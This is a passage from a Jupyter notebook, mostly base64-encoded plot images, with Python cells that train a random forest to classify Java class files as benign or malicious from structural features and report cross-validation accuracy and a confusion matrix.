hH17m3JEmSJElNqZNc\n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\n", + "text": [ + "" + ] + } + ], + "prompt_number": 162 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "import sklearn.ensemble\n", + "from sklearn.metrics import confusion_matrix\n", + "from sklearn.cross_validation import train_test_split\n", + "\n", + "clf_all = sklearn.ensemble.RandomForestClassifier(n_estimators=75)\n", + "all_features = ['acc_abstract', 'acc_annotation', 'acc_enum', 'acc_final', 'acc_interface',\n", + " 'acc_public', 'acc_super', 'acc_synthetic', 'ap_count', 'constant_pool_count',\n", + " 'entropy', 'interface_count', 'major version', 'methods_count',\n", + " 'size', 'minor version',\n", + " 'method_name_digit_run_avg', 'method_name_digit_run_longest',\n", + " 'method_name_lowercase_run_avg', 'method_name_lowercase_run_longest',\n", + " 'method_name_uppercase_run_avg', 'method_name_uppercase_run_longest',\n", + " 'class_name_digit_run_avg', 'class_name_digit_run_longest',\n", + " 'class_name_length', 'class_name_lowercase_run_avg',\n", + " 'class_name_lowercase_run_longest', 'class_name_slash_count',\n", + " 'class_name_uppercase_run_avg', 'class_name_uppercase_run_longest'] \n", + "\n", + "X = df.as_matrix(all_features)\n", + "y = np.array(df['label'].tolist())\n", + "labels = ['good', 'bad']\n", + "\n", + "scores = sklearn.cross_validation.cross_val_score(clf_all, X, y, cv=10)\n", + "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Accuracy: 0.993 (+/- 0.018)\n" + ] + } + ], + "prompt_number": 163 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Finally some significant improvment." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "import sklearn.ensemble\n", + "from sklearn.metrics import confusion_matrix\n", + "from sklearn.cross_validation import train_test_split\n", + "\n", + "# 80/20 Split for predictive test\n", + "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n", + "clf_all.fit(X_train, y_train)\n", + "y_pred = clf_all.predict(X_test)\n", + "labels = ['benign', 'malicious']\n", + "cm = confusion_matrix(y_test, y_pred, labels)\n", + "plot_cm(cm, labels)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Confusion Matrix Stats\n", + "benign/benign: 97.06% (99/102)\n", + "benign/malicious: 2.94% (3/102)\n", + "malicious/benign: 0.00% (0/102)\n", + "malicious/malicious: 100.00% (102/102)\n" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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